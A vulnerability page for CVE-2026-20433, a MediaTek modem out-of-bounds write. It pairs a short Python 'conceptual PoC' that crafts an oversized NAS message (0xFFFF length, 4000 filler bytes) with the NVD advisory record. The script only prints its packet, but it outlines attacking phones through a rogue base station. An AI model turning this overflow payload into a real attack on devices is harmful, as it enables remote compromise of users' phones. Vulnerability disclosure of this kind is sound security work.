CVE-2026-20433

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-20433 This script simulates crafting a malicious packet that triggers an Out-of-Bounds Write in the MediaTek Modem due to missing bounds check. """ import struct def create_malicious_nas_message(): """ Constructs a malformed NAS message with an oversized length field. Real exploitation requires deep knowledge of the specific baseband protocol. """ # Example: NAS Message Header (Type + Length) msg_type = 0x01 # Arbitrary message type # Vulnerability: Length field is not properly validated against buffer size malicious_length = 0xFFFF # Pack header (Big Endian) header = struct.pack('>BH', msg_type, malicious_length) # Payload: 'A' * 4000 to trigger overflow past the allocated buffer payload = b'A' * 4000 return header + payload def exploit_simulation(): print("[*] Generating malicious payload for CVE-2026-20433...") packet = create_malicious_nas_message() print(f"[*] Payload size: {len(packet)} bytes") print("[!] In a real scenario, this packet would be sent via a Rogue Base Station") print("[!] targeting a connected UE to trigger the OOB write in the Modem.") if __name__ == "__main__": exploit_simulation()

{"cve": {"id": "CVE-2026-20433", "sourceIdentifier": "[email protected]", "published": "2026-04-07T04:17:12.830", "lastModified": "2026-04-10T19:56:39.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: MOLY01088681; Issue ID: MSV-4460."}, {"lang": "es", "value": "En el módem, existe una posible escritura fuera de límites debido a una falta de verificación de límites. Esto podría llevar a una escalada remota de privilegios, si un UE se ha conectado a una estación base maliciosa controlada por el atacante, sin necesidad de privilegios de ejecución adicionales. Se requiere interacción del usuario para la explotación. ID del parche: MOLY01088681; ID del problema: MSV-4460."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt2735_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A0D40745-FA7E-40DF-BCA6-24CECBB0AE43"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt2737_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "85F4E58C-A9BC-4116-A844-B94C6B6566FA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6813_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0E1CB25C-4643-4239-AE47-B5AE876416ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F9EAE4-F1D7-46DB-AA2A-0290F6EF0501"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6833_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA0F3AD5-4D2B-4480-AA79-44EFD4E29348"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6833p_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D6EFAB26-B3EA-4B99-9E9C-65E5C9C6FFB2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6835_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "00B1D726-8183-4667-B46D-18EF110EA9D9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6835t_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": ... 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